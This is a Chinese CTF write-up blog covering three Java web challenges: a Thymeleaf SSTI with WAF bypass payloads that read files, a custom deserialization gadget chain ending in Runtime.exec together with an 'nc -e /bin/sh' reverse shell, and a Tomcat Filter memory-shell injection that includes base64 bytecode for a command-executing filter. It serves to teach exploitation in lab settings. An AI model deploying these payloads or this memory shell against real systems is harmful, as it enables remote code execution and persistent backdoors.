[CISCN 2026初赛]EzJava 第一次参加国赛,虽然没有希望进线下,但还是收获颇丰。初赛给了两道Java题,到后面一题500分一题50分,另外这次的题名沿用了2024国赛的ezjava,但是这次肯定没有那么挑战性了,就只涉及了一个Java后端的SSTI模板注入,用的是Thymeleaf模板引擎。SpringBoot官方推荐的模板引擎
登录靶机唯一有用的是登录入口,账号密码已经提前写好了,但给的不是正确的密码。 找密码找了很久,起初扫端口扫到了/;admin路径,长得比较稀奇去搜了一下说是好像和SpringSercurity有关系,花了半天研究所谓的SpringSecurity绕过,浪费了很多时间。最后密码居然是弱口令admin123,还是涉世未深啊
后台就直接模板突脸了
<p > 现在时间: <span th:text ="${now}" > </span > </p >
渲染出来就是现实时间
<p > 现在时间: <span > 2025-12-28T10:52:37.209748</span > </p >
后面测试7*7也可以,无所谓其实。网上找了些现成的payload试了一下,发现有三个主要的Waf,
首先是T(,匹配到会替换成NoNo,这里在中间插入个空格就能绕过了
然后是new,匹配到会被替换成Wow
获取根目录文件结构
<p > 现在时间: <span th:text ="${T (java.nio.file.Files).list(T (java.nio.file.Paths).get('/')).collect(T (java.util.stream.Collectors).toList())}" > </span > </p >
上面的模板等价于
Files.list(Paths.get("/" )).collect(Collectors.toList());
Files.list() 返回的是 Stream<Path>,而 Collectors.toList() 接收的是 Stream<String>,但模板引擎会自己进行类型转换
读取flag文件
<p > 现在时间: <span th:text ="${T (java.nio.file.Files).readString(T (java.nio.file.Paths).get(T (java.lang.String).join('', T (java.util.Arrays).asList('/', 'f', 'l', 'a', 'g', '_', 'y', 'o', 'u','_','d','0','n','t','_','k','n','0','w'))))}" > </span > </p >
上面的模板等价于
Files.readString(Paths.get(String.join("" , Arrays.asList("/" , "f" , "l" , "a" , "g" , "_" , "y" , "o" , "u" , "_" , "d" , "0" , "n" , "t" , "_" , "k" , "n" , "0" , "w" ))));
[MoeCTF 2025]第二十三章 幻境迷心·皇陨星沉(大结局) 一个月前看的反序列化题,那时候对Java都没有什么理解,最近感觉忘得差不多了就掏出来瞄一眼,发现很多之前难以理解的地方都清晰起来了
题目有用的无非就两个类Dog、DogService还有个DogModel接口
package com.example.demo.Dog;import java.io.Serializable;import java.util.Objects;public class Dog implements Serializable , DogModel { private int id; private String name; private String breed; private int age; private int hunger; Object object; String methodName; Class[] paramTypes; Object[] args; public Dog (int id, String name, String breed, int age) { this .id = id; this .name = name; this .breed = breed; this .age = age; this .hunger = 50 ; } public int getId () { return this .id; } public void setId (int id) { this .id = id; } public String getName () { return this .name; } public String getBreed () { return this .breed; } public int getAge () { return this .age; } public int getHunger () { return this .hunger; } public void feed () { this .hunger = Math.max(0 , this .hunger - 10 ); } public boolean equals (Object o) { if (this == o) { return true ; } else if (o != null && this .getClass() == o.getClass()) { Dog dog = (Dog)o; return this .id == dog.id; } else { return false ; } } public int hashCode () { this .wagTail(this .object, this .methodName, this .paramTypes, this .args); return Objects.hash(new Object []{this .id}); } }
Dog里面有一些神秘的字段名Object、args什么的,很难不让人想到反射调用,而且注意到Dog中有个hashCode()方法,hashCode()内部调用了wagTail(),这个wagTail()在DogModel接口里面被定义为默认方法,具有方法体
default Object wagTail (Object input, String methodName, Class[] paramTypes, Object[] args) { try { Class cls = input.getClass(); Method method = cls.getMethod(methodName, paramTypes); return method.invoke(input, args); } catch (Exception e) { e.printStackTrace(); return null ; } } }
方法体中调用了反射,是一种可以执行一次命令的方法,但是还不足以进行命令执行,重点在DogService的chainWagTail()
public Object chainWagTail () { Object input = null ; for (Dog dog : this .dogs.values()) { if (input == null ) { input = dog.object; } Object result = dog.wagTail(input, dog.methodName, dog.paramTypes, dog.args); input = result; } return input; }
有点像CC链里面的ChainedTransformer了,通过链式调用获取Runtime实例执行命令,刚好DogService里面的importBase64()具有readObject()方法
public void importDogsBase64 (String base64Data) { try (ByteArrayInputStream bais = new ByteArrayInputStream (Base64.getDecoder().decode(base64Data))) { ObjectInputStream ois = new ObjectInputStream (bais); Throwable var5 = null ; try { for (example.demo.Dog.Dog dog : (Collection)ois.readObject()) { dog.setId(this .nextId++); this .dogs.put(dog.getId(), dog); } } catch (Throwable var32) { var5 = var32; throw var32; } finally { if (ois != null ) { if (var5 != null ) { try { ois.close(); } catch (Throwable var31) { var5.addSuppressed(var31); } } else { ois.close(); } } } } catch (ClassNotFoundException | IOException e) { ((Exception)e).printStackTrace(); } }
好多try-catch看着很乱,现在问题是谁作为入口类?前面的Dog类具有hashCode()方法且可以反射调用命令,刚好HashMap的readObject()方法会自动调用hash()方法进而调用hashCode()
private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException ("Illegal load factor: " + loadFactor); s.readInt(); int mappings = s.readInt(); if (mappings < 0 ) throw new InvalidObjectException ("Illegal mappings count: " + mappings); else if (mappings > 0 ) { float lf = Math.min(Math.max(0.25f , loadFactor), 4.0f ); float fc = (float )mappings / lf + 1.0f ; int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int )fc)); float ft = (float )cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int )ft : Integer.MAX_VALUE); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node [cap]; table = tab; for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); } } }
进入hash()方法
static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); }
对键调用了hashCode(),构造一个map把一个Dog作为键,之后再通过反射调用DogService的chainWagTail()执行任意命令,链就完整了
HashMap.readObject() ->HashMap.hash() ->example.demo.Dog.Dog.hashCode() ->example.demo.Dog.Dog.wagTail() ->method.invoke() ->example.demo.Dog.DogService.chainWagTail() ->example.demo.Dog.Dog.wagTail() ->example.demo.Dog.Dog.wagTail() ->example.demo.Dog.Dog.wagTail() dog1.Object -> input = (Class) java.lang.Runtime dog2.wagtail(Runtime.class, "invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}) -> input = (Method) java.lang.Runtime.getRuntime() dog3.wagtail(java.lang.Runtime.getRuntime(), "invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}) -> input = (Runtime) Runtime dog4.wagTail(Runtime, "exec", new Class[]{String.class}, new Object[]{"calc"}) -> input = (ProcessImpl) Command executed
首先就是要构造一个DogService,控制其dogs字段方便我们链式调用
Dog dog1 = setDogFields(Runtime.class,"getMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,new Class [0 ]});Dog dog2 = setDogFields(null , "invoke" ,new Class []{Object.class, Object[].class}, new Object []{null , null });Dog dog3 = setDogFields(null ,"exec" , new Class []{String.class}, new Object []{"calc" });Map<Integer, Dog> map = new HashMap <>(); map.put(1 ,dog1); map.put(2 ,dog2); map.put(3 ,dog3); DogService dogService = new DogService ();Class<?> clazz = DogService.class; Field dogs = clazz.getDeclaredField("dogs" );dogs.setAccessible(true ); dogs.set(dogService, map);
噢,还要封装出来一个方法方便我们修改字段
public static Dog setDogFields (Object object,String methodName,Class<?>[] paramTypes,Object[] args) throws Throwable { Dog dog = new Dog (1 ,"name" ,"bread" ,1 ); Class<?> clazz = dog.getClass(); Field objectField = clazz.getDeclaredField("object" ); objectField.setAccessible(true ); objectField.set(dog,object); Field methodField = clazz.getDeclaredField("methodName" ); methodField.setAccessible(true ); methodField.set(dog,methodName); Field paramTypesField = clazz.getDeclaredField("paramTypes" ); paramTypesField.setAccessible(true ); paramTypesField.set(dog,paramTypes); Field argsField = clazz.getDeclaredField("args" ); argsField.setAccessible(true ); argsField.set(dog,args); return dog; }
构造一个dog4,让它去调用前面dogService的chainWagTail()
Dog dog4 = setDogFields(dogService,"chainWagTail" ,null ,null );Map <Dog, Integer> invokeMap = new HashMap <>(); invokeMap.put(dog4,114514 );
或者用HashSet,因为HashSet的readObject()调用了HashMap的put(),而put()又调用了hashCode(),这么做的优点是Set接口是Collection的子接口,传进去的时候不会报转型错误
Set<Dog> invokeSet = new HashSet <>(); invokeSet.add(dog4);
构造完毕,全链如下
package com.example.demo.Dog;import org.junit.Test;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class Exp { public static void main (String[] args) throws Throwable,Exception { Dog dog1 = setDogFields(Runtime.class,"getMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,new Class [0 ]}); Dog dog2 = setDogFields(null , "invoke" ,new Class []{Object.class, Object[].class}, new Object []{null , null }); Dog dog3 = setDogFields(null ,"exec" , new Class []{String.class}, new Object []{"calc" }); Map<Integer, Dog> map = new HashMap <>(); map.put(1 ,dog1); map.put(2 ,dog2); map.put(3 ,dog3); DogService dogService = new DogService (); Class<?> clazz = DogService.class; Field dogs = clazz.getDeclaredField("dogs" ); dogs.setAccessible(true ); dogs.set(dogService, map); Dog dog4 = setDogFields(dogService,"chainWagTail" ,null ,null ); Map <Dog, Integer> invokeMap = new HashMap <>(); invokeMap.put(dog4,114514 ); serialize(invokeMap); } @Test public void deserialize () throws Throwable { ObjectInputStream ois = new ObjectInputStream (Files.newInputStream(Paths.get("moeSerial.ser" ))); ois.readObject(); } public static Dog setDogFields (Object object,String methodName,Class<?>[] paramTypes,Object[] args) throws Throwable { Dog dog = new Dog (1 ,"name" ,"bread" ,1 ); Class<?> clazz = dog.getClass(); Field objectField = clazz.getDeclaredField("object" ); objectField.setAccessible(true ); objectField.set(dog,object); Field methodField = clazz.getDeclaredField("methodName" ); methodField.setAccessible(true ); methodField.set(dog,methodName); Field paramTypesField = clazz.getDeclaredField("paramTypes" ); paramTypesField.setAccessible(true ); paramTypesField.set(dog,paramTypes); Field argsField = clazz.getDeclaredField("args" ); argsField.setAccessible(true ); argsField.set(dog,args); return dog; } public static void serialize (Object object) throws Throwable { ObjectOutputStream oos = new ObjectOutputStream (Files.newOutputStream(Paths.get("moeSerial.ser" ))); oos.writeObject(object); byte [] fileBytes = Files.readAllBytes(Paths.get("moeSerial.ser" )); String base64Encoded = Base64.getEncoder().encodeToString(fileBytes); System.out.println(base64Encoded); Files.write(Paths.get("moeSerial.txt" ), base64Encoded.getBytes()); } }
此外,做这种Java反序列化题目尽量让包名环境和题目环境一样,此外还要保证SerializeID相同,就此题而言,还需在DogService类加上
private static final long serialVersionUID = 988523103989629987L ;
题目给了跳板机,执行反弹shell命令nc 127.0.0.1 4444 -e /bin/sh,监听4444端口,最后在环境变量看到了flag
[MoeCTF 2025]附加挑战 本题为第二十三章 幻境迷心·皇陨星沉(大结局)的附加题,这一题平台不再提供跳板机用于反弹shell,所以我们需要注入内存马回显,对附件解包可以发现题目环境是SpringBoot,官方Wp曾尝试使用动态编译注入Interceptor拦截器内存马,但是该方式过于复杂,我想到SpringBoot其实内嵌了一个Tomcat服务器,便想着注入一个Filter内存马
前言 首先,由前面的题目可以知道我们可以利用HashSet的readObject()方法触发Dog的hashCode()方法,该方法会调用一次wagTail()方法,我们可以通过控制Dog的属性利用wagTail()方法进行一次任意命令执行
跟过CC链就会知道,通过TemplatesImpl类的newTransformer()方法可以进行一次动态类加载,因此我们尝试利用这一思路注入,问题是注入一个什么类?在该类被加载时,需要自动获取StandardContext,并将恶意Filter加载出来并注册进去
所以就有了大体思路:构建恶意Filter->获取StandardContext并注册内存马->将上步的逻辑写入被newTransformer()方法加载的类的静态代码块->通过newTransformer()加载恶意类
构建Exp 首先是Filter内存马,这一步与所有注入Filter内存马的过程几乎一样
public class ShellFilter implements Filter { @Override public void init (FilterConfig filterConfig) throws ServletException { } @Override public void doFilter (ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException { String cmd = req.getParameter("cmd" ); if (cmd != null ) { StringBuilder output = new StringBuilder (); ProcessBuilder processBuilder; processBuilder = new ProcessBuilder ("/bin/sh" , "-c" , cmd); try { Process process = processBuilder.start(); BufferedReader reader = new BufferedReader (new InputStreamReader (process.getInputStream())); String line; while ((line = reader.readLine()) != null ) { output.append(line).append("\n" ); } } catch (IOException e) { throw new RuntimeException (e); } res.setContentType("text/html;charset=UTF-8" ); res.getWriter().println(output); } else { chain.doFilter(req, res); } } @Override public void destroy () { } }
接下来是构建恶意被加载类,我们需要在该类的静态代码块执行过程中获取ShellFilter实例,可以先把ShellFilter转换为字节码保存在静态代码块逻辑中,在执行时再加载获取实例,下面是导出ShellFilter字节码的逻辑
public class Dump { public static void main (String[] args) throws NotFoundException, IOException, CannotCompileException { ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.get("com.example.demo.Dog.ShellFIlter" ); byte [] bytes = ctClass.toBytecode(); String encode = Base64.getEncoder().encodeToString(bytes); System.out.println(encode); } }
获取字节码后,开始构建恶意被加载类,首先是要获取StandardContext,在SpringBoot获取StandardContext与纯Tomcat环境略有不同,Spring Boot 并没有直接暴露 Tomcat 的原生对象,而是将其进行了多层次的封装,这本质是一个抽丝剥茧的过程,我感觉AI讲的比我更好就直接搬上来罢
具体反映到代码上就是以下的过程
Class<?> contextHolderClass = Class.forName("org.springframework.web.context.request.RequestContextHolder" ); Method getRequestAttributesMethod = contextHolderClass.getMethod("getRequestAttributes" );Object attributes = getRequestAttributesMethod.invoke(null );Class<?> requestAttributesClass = Class.forName("org.springframework.web.context.request.ServletRequestAttributes" ); Method getRequestMethod = requestAttributesClass.getMethod("getRequest" );ServletRequest request = (ServletRequest) getRequestMethod.invoke(attributes);ServletContext servletContext = request.getServletContext();Field contextField = servletContext.getClass().getDeclaredField("context" );contextField.setAccessible(true ); Object applicationContext = contextField.get(servletContext);Field stdContextField = applicationContext.getClass().getDeclaredField("context" );stdContextField.setAccessible(true ); StandardContext standardContext = (StandardContext) stdContextField.get(applicationContext);
对比一下正常Tomcat获取StandardContext的过程
ServletContext servletContext = request.getServletContext();Field applicationContextField = servletContext.getClass().getDeclaredField("context" );applicationContextField.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);Field standardContextField = applicationContext.getClass().getDeclaredField("context" );standardContextField.setAccessible(true ); StandardContext context = (StandardContext) standardContextField.get(applicationContext);
其实就是我们无法直接获取request,在SpringBoot中,request被封装为ServletRequestAttributes的一个字段,ServletRequestAttributes可以通过调用RequestContextHolder的getRequestAttributes()方法获取,这不代表ServletRequestAttributes被包装进了RequestContextHolder,而是因为RequestContextHolder的特殊性,getRequestAttributes()返回的是当前线程的ServletRequestAttributes而不是一个简单的、不变的字段,这也是为什么不直接获取ServletRequestAttributes反射调用getRequest(),因为这样根本无法保证获取到的request对象是从哪来的
所以完整的恶意被加载类,该类为了契合TemplatesImpl的要求需要继承AbstractTranslate
public class InjectClass extends AbstractTranslet { static { try { Class<?> contextHolderClass = Class.forName("org.springframework.web.context.request.RequestContextHolder" ); Method getRequestAttributesMethod = contextHolderClass.getMethod("getRequestAttributes" ); Object attributes = getRequestAttributesMethod.invoke(null ); Class<?> requestAttributesClass = Class.forName("org.springframework.web.context.request.ServletRequestAttributes" ); Method getRequestMethod = requestAttributesClass.getMethod("getRequest" ); ServletRequest request = (ServletRequest) getRequestMethod.invoke(attributes); ServletContext servletContext = request.getServletContext(); Field contextField = servletContext.getClass().getDeclaredField("context" ); contextField.setAccessible(true ); Object applicationContext = contextField.get(servletContext); Field stdContextField = applicationContext.getClass().getDeclaredField("context" ); stdContextField.setAccessible(true ); StandardContext standardContext = (StandardContext) stdContextField.get(applicationContext); String sourceCode = "yv66vgAAADQAiwoAHQBPCABACwBQAFEHAFIKAAQATwcAUwcAVAgAVQgAVgoABgBXCgAGAFgHAFkHAFoKAFsAXAoADQBdCgAMAF4KAAwAXwoABABgCABhBwBiBwBjCgAVAGQIAGULAGYAZwsAZgBoCgBpAGoLAGsAbAcAbQcAbgcAbwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAiTGNvbS9leGFtcGxlL2RlbW8vRG9nL1NoZWxsRmlsdGVyOwEABGluaXQBAB8oTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOylWAQAMZmlsdGVyQ29uZmlnAQAcTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOwEACkV4Y2VwdGlvbnMHAHABAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAAdwcm9jZXNzAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEABnJlYWRlcgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEABGxpbmUBABJMamF2YS9sYW5nL1N0cmluZzsBAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQAGb3V0cHV0AQAZTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEADnByb2Nlc3NCdWlsZGVyAQAaTGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcjsBAANyZXEBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAANyZXMBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAFY2hhaW4BABtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjsBAANjbWQBAA1TdGFja01hcFRhYmxlBwBtBwBxBwByBwBzBwBUBwBSBwBTBwB0BwBZBwBiAQAHZGVzdHJveQEAClNvdXJjZUZpbGUBABBTaGVsbEZpbHRlci5qYXZhDAAfACAHAHEMAHUAdgEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyAQAQamF2YS9sYW5nL1N0cmluZwEABy9iaW4vc2gBAAItYwwAHwB3DAB4AHkBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgcAdAwAegB7DAAfAHwMAB8AfQwAfgB/DACAAIEBAAEKAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAfAIIBABd0ZXh0L2h0bWw7Y2hhcnNldD1VVEYtOAcAcgwAgwCEDACFAIYHAIcMAIgAiQcAcwwALACKAQAgY29tL2V4YW1wbGUvZGVtby9Eb2cvU2hlbGxGaWx0ZXIBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQARamF2YS9sYW5nL1Byb2Nlc3MBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgEADnNldENvbnRlbnRUeXBlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL09iamVjdDspVgEAQChMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7KVYAIQAcAB0AAQAeAAAABAABAB8AIAABACEAAAAvAAEAAQAAAAUqtwABsQAAAAIAIgAAAAYAAQAAAAgAIwAAAAwAAQAAAAUAJAAlAAAAAQAmACcAAgAhAAAANQAAAAIAAAABsQAAAAIAIgAAAAYAAQAAAAwAIwAAABYAAgAAAAEAJAAlAAAAAAABACgAKQABACoAAAAEAAEAKwABACwALQACACEAAAGhAAYACgAAAJkrEgK5AAMCADoEGQTGAIS7AARZtwAFOgW7AAZZBr0AB1kDEghTWQQSCVNZBRkEU7cACjoGGQa2AAs6B7sADFm7AA1ZGQe2AA63AA+3ABA6CBkItgARWToJxgATGQUZCbYAEhITtgASV6f/6KcADzoHuwAVWRkHtwAWvywSF7kAGAIALLkAGQEAGQW2ABqnAAstKyy5ABsDALEAAQA0AGsAbgAUAAMAIgAAAEIAEAAAABAACgARAA8AEgAYABQANAAWADsAFwBQABkAWwAaAGsAHgBuABwAcAAdAHoAHwCCACAAjQAhAJAAIgCYACQAIwAAAHAACwA7ADAALgAvAAcAUAAbADAAMQAIAFgAEwAyADMACQBwAAoANAA1AAcAGAB1ADYANwAFADQAWQA4ADkABgAAAJkAJAAlAAAAAACZADoAOwABAAAAmQA8AD0AAgAAAJkAPgA/AAMACgCPAEAAMwAEAEEAAAAwAAb/AFAACQcAQgcAQwcARAcARQcARgcARwcASAcASQcASgAA+QAaQgcASwv5ABUHACoAAAAGAAIAFAArAAEATAAgAAEAIQAAACsAAAABAAAAAbEAAAACACIAAAAGAAEAAAApACMAAAAMAAEAAAABACQAJQAAAAEATQAAAAIATg==" ; byte [] bytes = Base64.getDecoder().decode(sourceCode); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); Method method = ClassLoader.class.getDeclaredMethod("defineClass" , byte [].class, int .class, int .class); method.setAccessible(true ); Class<?> clazz = (Class<?>) method.invoke(classLoader, bytes, 0 , bytes.length); Filter filterShell = (Filter) clazz.newInstance(); FilterDef filterDef = new FilterDef (); filterDef.setFilterName("ShellFilter" ); filterDef.setFilter(filterShell); filterDef.setFilterClass(filterShell.getClass().getName()); standardContext.addFilterDef(filterDef); Constructor<?> constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true ); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); FilterMap filterMap = new FilterMap (); filterMap.setFilterName("ShellFilter" ); filterMap.addURLPattern("/*" ); standardContext.addFilterMap(filterMap); Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs" ); filterConfigsField.setAccessible(true ); Map<String, ApplicationFilterConfig> filterConfigs = (Map<String, ApplicationFilterConfig>) filterConfigsField.get(standardContext); filterConfigs.put("ShellFilter" , filterConfig); System.out.println("success" ); } catch (Exception e) { throw new RuntimeException (e); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
接下来是完整的Exp
public class ExpForMemShell { public static void main (String[] args) throws Throwable { byte [] shell = Files.readAllBytes(Paths.get("C:\\Users\\leyi\\IntelliJTest\\serialize\\Moeserialize\\out\\production\\Moeserialize\\com\\example\\demo\\Dog\\InjectClass.class" )); TemplatesImpl templates = new TemplatesImpl (); Class<?> clazz = templates.getClass(); Field tfactory = clazz.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates, new TransformerFactoryImpl ()); Field name = clazz.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates, "Shell" ); Field bytecodes = clazz.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(templates, new byte [][]{shell}); Dog EvilDog = setDogFields(templates, "getClass" , new Class [0 ], new Object [0 ]); HashSet<Dog> set = new HashSet <>(); set.add(EvilDog); Class<?> dogClass = EvilDog.getClass(); Field objects = dogClass.getDeclaredField("object" ); objects.setAccessible(true ); objects.set(EvilDog, templates); Field methodName = dogClass.getDeclaredField("methodName" ); methodName.setAccessible(true ); methodName.set(EvilDog, "newTransformer" ); serialize(set); } public static Dog setDogFields (Object object,String methodName,Class<?>[] paramTypes,Object[] args) throws Throwable { return Exp.setDogFields(object, methodName, paramTypes, args); } public static void serialize (Object object) throws Throwable { ObjectOutputStream oos = new ObjectOutputStream (Files.newOutputStream(Paths.get("moeSerialForShell.ser" ))); oos.writeObject(object); byte [] fileBytes = Files.readAllBytes(Paths.get("moeSerialForShell.ser" )); String base64Encoded = Base64.getEncoder().encodeToString(fileBytes); System.out.println(base64Encoded); Files.write(Paths.get("moeSerialForShell.txt" ), base64Encoded.getBytes()); } }
将得到的payload在本地测试成功,控制台打印了success字样
靶机注入内存马,flag在环境变量里
后话 很奇怪,题目给的jar包本地运行,上传文件居然会直接把数据用GET请求发送,这会触发8KB的默认数据上限,后面尝试自己在IDEA上写一个一样的环境运行,这样可以更好地查看报错信息。把源码复制上去,发现DogService类产生了报错
readObject()方法返回一个Object对象,虽然这里强转成了集合类型,但是还是会报错,这里只允许让dog的声明类型为Object,所以我在复原题目环境的时候又稍微修改了一下
后面就是修改启动类配置,主要是修复了请求数据上限和index.html的路径
这道附加题也是折腾了几天,用官方的动态类编译思路不仅麻烦,还总是做不出来的,现在看还是Filter内存马好用,还方便